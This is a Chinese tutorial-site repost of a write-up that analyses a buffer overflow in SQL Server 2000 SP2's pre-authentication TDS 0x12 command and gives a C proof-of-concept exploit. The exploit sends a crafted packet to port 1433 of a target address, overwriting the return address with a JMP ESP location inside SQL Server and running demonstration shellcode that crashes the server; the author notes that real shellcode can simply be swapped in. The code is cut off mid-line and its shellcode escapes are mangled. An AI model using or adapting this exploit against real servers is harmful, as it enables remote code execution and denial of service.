程序師世界是廣大編程愛好者互助、分享、學習的平台,程序師世界有你更精彩!
首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫知識
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
 程式師世界 >> 數據庫知識 >> SqlServer數據庫 >> 關於SqlServer >> SQLSERVER2000SP212命令的溢出攻擊實現

SQLSERVER2000SP212命令的溢出攻擊實現

編輯:關於SqlServer
這幾天開始用匯編看sql server的代碼,發現SQL Server的1433 TDS協議中,0X12號命令(請求驗證)存在一個溢出問題,在傳送最後的MSSQLSERVER後面跟上572個以上的字節會導致溢出,心裡一喜,但吸取上次教訓,一查,發現8月12這個漏洞已經被公告。哎
  但是一看,公告代碼只指出溢出,但是未實現溢出,仔細一看,要實現這個溢出還是很麻煩的,涉及到很多問題:
  
  下面是匯編代碼分析:
  前面接受信息的大致流程:
  請求
  text:004DE099 call sub_410E22
  .text:00410ED3 call dWord ptr [eax+14h]
  調用ssnetlib的獲取異步socket到來的信息
  42CF42F2:連接並接收信息
  .text:00410ED6 add esp, 18h
  
  處理數據:
  42cf719e處調用,下個返回地址應該是42cf71a3,溢出就是要覆蓋這個返回地址
  溢出產生在:42cf72cf處的strcpy上
  但是其中問題存在於:strcpy拷貝的地址離42cf71a3的地址有572個字節,其中存在很多其他變量的指針,如果隨便覆蓋掉的話,在這個子過程中會繼續引用他們,那麼就引起訪問違例,直接被異常給捕獲了,而無法達到執行代碼的目的,而其其過程是一個循環執行過程,會導致很復雜的計算。
  涉及到的需要繼續引用覆蓋地址值的代碼有:
  .text:42CF73D9 mov edx, [ebp+var_4]
  .text:42CF73DC add edx, 5
  .text:42CF73DF mov [ebp+var_4], edx
  .text:42CF7263 mov edx, [ebp+arg_4]
  .text:42CF7266 add edx, [ebp+var_4]
  .text:42CF7269 xor eax, eax
  .text:42CF726B mov al, [edx]
  .text:42CF726D mov [ebp+var_14], eax
  .text:42CF7270 mov ecx, [ebp+arg_4]
  .text:42CF7320 mov [ebp+var_224], ecx
  .text:42CF7326 mov edx, [ebp+arg_0]
  .text:42CF7329 mov eax, [ebp+var_224]
  .text:42CF732F mov ecx, [eax]
  
  可以發現以上值主要是涉及到
  要覆蓋地址-8
  要覆蓋地址+4
  要覆蓋地址+8
  要覆蓋地址+C
  要覆蓋地址+10
  要覆蓋地址+14
  這幾個地址上,而且主要是寫操作
  並且要覆蓋地址-4會和要覆蓋地址+4會進行一次加操作,其操作的地址范圍也應該為可讀寫。
  因此很容易想到,用SQL Server固定分配的某個數據區的地址取帶該區就不會引起異常了。而要覆蓋地址-4最好為0xffffffff左右的值,其他地址加上這個值也在一個數據區范圍以內,問題就不大要覆蓋地址+4,要覆蓋地址+8,要覆蓋地址+C,要覆蓋地址+10,要覆蓋地址+14的值要仔細選取,因為JMP ESP跳回來以後正好在從要覆蓋地址+4處開始執行,需要其匯編代碼不能引起異常和跳轉到其他地方去,否則就無法執行我們真正能實現的shellcode了。
  另外就是如果shellcode全部放在要覆蓋地址+18後執行也有問題,其中可能在同一個過程中會用到其中的值,因此把shellcode最好放在前面,在覆蓋地址+18後用少量的代碼跳轉回去,避免大量覆蓋引起異常。
  另外就是jmp esp代碼的選擇,其實不同服務器版本地址不同,但是我想在SQL SERVER代碼本身中找更好。只要存在一個ffe4數字就可,不管是不是真的jmp esp代碼,這樣shellcode可以更簡單,也更通用一些,仔細一看,SQL Server中還真有這個組合,位置在42B0C9DC處。OK,那麼主要問題就搞定了
  我的環境是:sql server 2000+sp2+最新的補掉SQL Server udp漏洞的q36幾幾的。
  下面是演示代碼,其中沒有實現真正的shellcode,而是實現了打印了一行sql hack demo,並且當掉了SQL Server服務器,其實只要把其中代碼置換成shellcode就可以了,當然需要考慮大小問題,如果放在後面可以不考慮大小,但是可能會引起一些異常,我沒仔細調試,放在前面許可的長度大概有500多字節左右,做SHELLCODE也應該足夠了。


  大家在cmd下運行sqlsvrer可以看到打印出的sql hack demo字符,並且SQL 當掉,如果是服務或管理工具啟動,則無法打印sql hack demo,但SQL會當掉,注意此處當掉不是因為異常,而是執行了shellcode的exit導致的。
  #include
  #include
  #include
  #include
  #include
  #include
  
  int main(int argc, char* argv[])
  {
  WSADATA WSAData;
  SOCKET sock;
  SOCKADDR_IN addr_in;
  unsigned char buf0[48+572]={
  0x12,1,0,0x34,0,0,0,0,0,0,0x15,0,6,1,0,0x1b,
  0,1,2,0,0x1c,0,0xc,3,0,0x28,0,4,0xff,8,0,2,
  0x10,0,0,0,0x4d,0x53,0x53,0x51,0x4c,0x53,0x65,0x72,0x76,0x65,0x72,1,0x10,4,1,1};
  
  unsigned char buf1[255]={10,9,8,7,6,5,4,3,2,1,0};
  char exploit_code[21]= "x83xc4x81x8bxc4x50xffx15xf8xe0xcfx42"
  "x33xc0x50xffx15x84xe0xcfx42";
  //這個是打印"sql hack demo"並退出SQL Server的shellcode代碼
  int i;
  int len;
  const int SNDBUF = 0;
  const int TCPNODELAY = TRUE;
  const int BROADCAST = TRUE;
  int fo=572; //需要覆蓋的返回地址偏移處
  if (argc<2)
  {
  return FALSE;
  }
  for(i=0x34;i<584;i++)
  buf0[i]=0x90;
  //示范打印的字符串
  buf0[0x34+0x10]=''s'';
  buf0[0x34+0x11]=''q'';
  buf0[0x34+0x12]=''l'';
  buf0[0x34+0x13]='' '';
  buf0[0x34+0x14]=''h'';
  buf0[0x34+0x15]=''a'';
  buf0[0x34+0x16]=''c'';
  buf0[0x34+0x17]=''k'';
  buf0[0x34+0x18]='' '';
  buf0[0x34+0x19]=''d'';
  buf0[0x34+0x1a]=''e'';
  buf0[0x34+0x1b]=''m'';
  buf0[0x34+0x1c]=''o'';
  buf0[0x34+0x1d]=''
'';
  
  //防止數據改動引起異常而退出而無法實現有效溢出,因此進行有效修改
  buf0[fo-0x8]=0xff;
  buf0[fo-0x7]=0xff;
  buf0[fo-0x6]=0xff;
  buf0[fo-0x5]=0xff;
  //42D01CFC 為SQL Server固定的數據區域,


您正在看的SQLserver教程是:SQLSERVER2000SP212命令的溢出攻擊實現。且其匯編代碼不引起問題
  buf0[fo+4]=0xfc;
  buf0[fo+5]=0x1c;
  buf0[fo+6]=0xd0;
  buf0[fo+7]=0x42;
  //42d01c72 為固定的數據區域才能可寫
  buf0[fo+8]=0x64;
  buf0[fo+9]=0x0d;
  buf0[fo+0xa]=0xd0;
  buf0[fo+0xb]=0x42;
  //42D01CFC 為固定的數據區域才能可寫
  buf0[fo+0xc]=0xfc;
  buf0[fo+0xd]=0x1c;
  buf0[fo+0xe]=0xd0;
  buf0[fo+0xf]=0x42;
  //42d01c72 為固定的數據區域才能可寫
  buf0[fo+0x10]=0x64;
  buf0[fo+0x11]=0x0d;
  buf0[fo+0x12]=0xd0;
  buf0[fo+0x13]=0x42;
  //42d01c72 為固定的數據區域才能可寫
  buf0[fo+0x14]=0x64;
  buf0[fo+0x15]=0x0d;
  buf0[fo+0x16]=0xd0;
  buf0[fo+0x17]=0x42;
  //在溢出了返回地址後,由於其中的N個代碼需要返回後跳轉、而此處由在子函數中需要處理,因此尋找一個數據地址放入,同時使得其匯編代碼不引起訪問異常。
  
  //然後下面的幾個地址是在此過程中不需要使用的,因此可以大膽修改成我們需要的匯編代碼了
  //寫入跳回去的代碼buf0[fo+0xc]=0x42;
  buf0[fo+0x18]=0x81;
  //ADD ESP,0XFFFFFF92
  buf0[fo+0x19]=0x83;
  buf0[fo+0x1a]=0xc4;
  buf0[fo+0x1b]=0x81;
  //ADD ESP,0XFFFFFF92
  buf0[fo+0x1C]=0x83;
  buf0[fo+0x1D]=0xc4;
  buf0[fo+0x1E]=0x81;
  //ADD ESP,0XFFFFFF92
  buf0[fo+0x1f]=0x83;
  buf0[fo+0x20]=0xc4;
  buf0[fo+0x21]=0x81;
  //JMP ESP
  buf0[fo+0x22]=0xff;
  buf0[fo+0x23]=0xe4;
  //以上代碼在溢出返回後執行,由於主要的shellcode防在前面,需要跳轉回去
  //不直接放在後面的原因在於:覆蓋了後面的一些變量,會導致提前出現地址訪問異常,導致無法達到執行我們想要代碼的目的
  
  memcpy(buf0+fo-8-364,exploit_code,21);
  //拷貝SHELLCODE
  
  //FFE4=JMP ESP
  //設置溢出地址的值,42B0C9DC是SQL Server本身代碼有的FFE4地方
  buf0[fo]=0xDC;
  buf0[fo+1]=0xC9;
  buf0[fo+2]=0xB0;
  buf0[fo+3]=0x42;
  //需要找到JMP ESP的代碼,然而這個是隨版本變化的,所以干脆在SQL Server程序中找,只要組合成這個就可
  
  if (WSAStartup(MAKEWord(2,0),&WSAData)!=0)
  {
  printf("WSAStartup error.Error:%d
",WSAGetLastError());
  return FALSE;
  }
  if ((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==INVALID_SOCKET)
  {
  printf("Socket failed.Error:%d
",WSAGetLastError());
  return FALSE;
  }
  
  addr_in.sin_family=AF_INET;
  addr_in.sin_port=htons(1433);
  addr_in.sin_addr.S_un.S_addr=inet_addr(argv[1]);
  buf0[1]=1;
  if(WSAConnect(sock,(struct sockaddr *)&addr_in,sizeof(addr_in),NULL,NULL,NULL,NULL)==SOCKET_ERROR)
  {
  printf("Connect failed.Error:%d",WSAGetLastError());
  return FALSE;
  }
  if (send(sock, buf0, sizeof(buf0), 0)==SOCKET_ERROR)
  {
  printf("Send failed.Error:%d
",WSAGetLastError());
  return FALSE;
  }
  
  len=recv(so
  1. 上一頁:
  2. 下一頁:
Copyright © 程式師世界 All Rights Reserved